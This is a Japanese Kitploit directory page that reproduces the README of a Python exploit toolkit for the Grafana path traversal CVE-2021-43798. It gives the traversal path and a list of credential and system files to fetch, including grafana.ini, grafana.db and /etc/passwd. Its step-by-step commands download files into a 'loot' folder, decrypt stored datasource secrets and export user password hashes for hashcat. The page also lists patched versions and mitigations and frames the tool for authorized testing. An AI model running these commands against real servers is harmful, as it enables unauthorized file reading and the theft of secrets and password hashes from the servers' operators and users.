Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-43798 — CVE-2021-43798 Grafana のパストラバーサルを認可されたテストで検証するための Python ツールキット。任意ファイル読み取り PoC、シークレットの復号、セキュリティ評価のためのユーザーハッシュのエクスポートを備えています。 | Kitploit
ツール/GitHubGitHub/okymi-x/cve-2021-43798
パスワードクラッキング暗号化/復号化ツール脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集
GitHubokymi-x/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 Grafana のパストラバーサルを認可されたテストで検証するための Python ツールキット。任意ファイル読み取り PoC、シークレットの復号、セキュリティ評価のためのユーザーハッシュのエクスポートを備えています。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-43798 - Grafana 任意ファイル読み取り

CVE-2021-43798(プラグインのアセットパスを通じて認証なしで任意のファイル読み取りを可能にする可能性がある Grafana のパストラバーサル脆弱性)を正規の許可を得たテストのために使用する Python ツールキットです。

このリポジトリには以下が含まれます:

  • grafana_poc.py: ダウンロードしたファイルをローカルに保存する対話型の任意ファイル読み取り PoC。
  • grafana_pass_decryptor.py: grafana.ini または secret_key(またはその両方)が利用可能な場合に、Grafana で暗号化されたデータソースのシークレットを復号化し、grafana.db から Grafana ユーザーのパスワードハッシュをエクスポートするヘルパー。

警告

このプロジェクトは、自分が所有するシステム、運用しているシステム、または明示的な書面によるテスト許可があるシステムでのみ使用してください。許可のない悪用は、機密ファイル、認証情報、秘密鍵、データベースの内容、ユーザーのパスワードハッシュを露出させる可能性があります。

脆弱性の概要

CVE-2021-43798 は、Grafana のバージョン 8.0.0-beta1 から 8.3.0 に影響します。修正済みのバージョンは 8.3.1、8.2.7、8.1.8、8.0.7 です。

この問題は、以下のようなプラグインのアセットルートを通じて到達可能です:

root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>

正規の許可を得た検証中によく要求されるファイルは以下のとおりです:

root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline

アクセス可否は、Grafana プロセスのオペレーティングシステム上の権限に依存します。

必要条件

  • Python 3.10+
  • requests
  • pycryptodome または cryptography(シークレットの復号化用)

依存関係をインストールします:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

使用方法

1. PoC でファイルを読み取る

許可を得た対象に対して対話型 PoC を実行します:

root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot

プロンプトが表示されたら、絶対パスを入力します:

root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit

ダウンロードしたファイルは、リモートパスを安全な形で保持したまま出力ディレクトリに保存されます。例:

root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db

2. Grafana のシークレットを復号化する

grafana.ini と grafana.db の両方がある場合、復号化ツールは設定ファイルから secret_key を読み取り、暗号化されたデータソース、アラート通知、プラグインのシークレットの復号化を試みます:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db

暗号化された 1 つのブロブを手動で復号化します:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --secret-key SW2YcwTIb9zpOOhoPsMm \
  --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

改行区切りの JSON を出力します:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --json

3. ユーザーハッシュをエクスポートする

Grafana のユーザーパスワードは暗号化されたシークレットではありません。ソルト付きの PBKDF2 ハッシュです。user テーブルからエクスポートします:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --users

hashcat モード 10900 の行のみをエクスポートします:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --db loot/var/lib/grafana/grafana.db \
  --users \
  --hashcat > hashes.txt

対策

Grafana を修正済みリリースにアップグレードします:

  • 8.3.1 以降(8.3 ブランチの場合)
  • 8.2.7 以降(8.2 ブランチの場合)
  • 8.1.8 以降(8.1 ブランチの場合)
  • 8.0.7 以降(8.0 ブランチの場合)

すぐにアップグレードできない場合、Grafana のセキュリティアドバイザリは、リクエストパスを正規化するリバースプロキシを Grafana の前面に配置することで、このパストラバーサル動作を緩和できると述べています。これは一時的な対策であり、パッチ適用の代替ではないことに注意してください。

参考情報

  • Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
  • jas502n の参照リポジトリ: https://github.com/jas502n/Grafana-CVE-2021-43798
  • Grafana セキュリティアドバイザリ GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • CVE-2021-43798 に関する Grafana のブログ記事: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  • NVD の CVE レコード: https://nvd.nist.gov/vuln/detail/CVE-2021-43798

クレジット

最初の公開 PoC は Exploit-DB の s1gh によるものです。Grafana のシークレット復号化ワークフローは、jas502n/Grafana-CVE-2021-43798 の公開研究と事例に基づいています。このリポジトリは、ラボ環境および許可を得た評価ワークフロー向けの Python ヘルパーを提供します。

ツールをダウンロード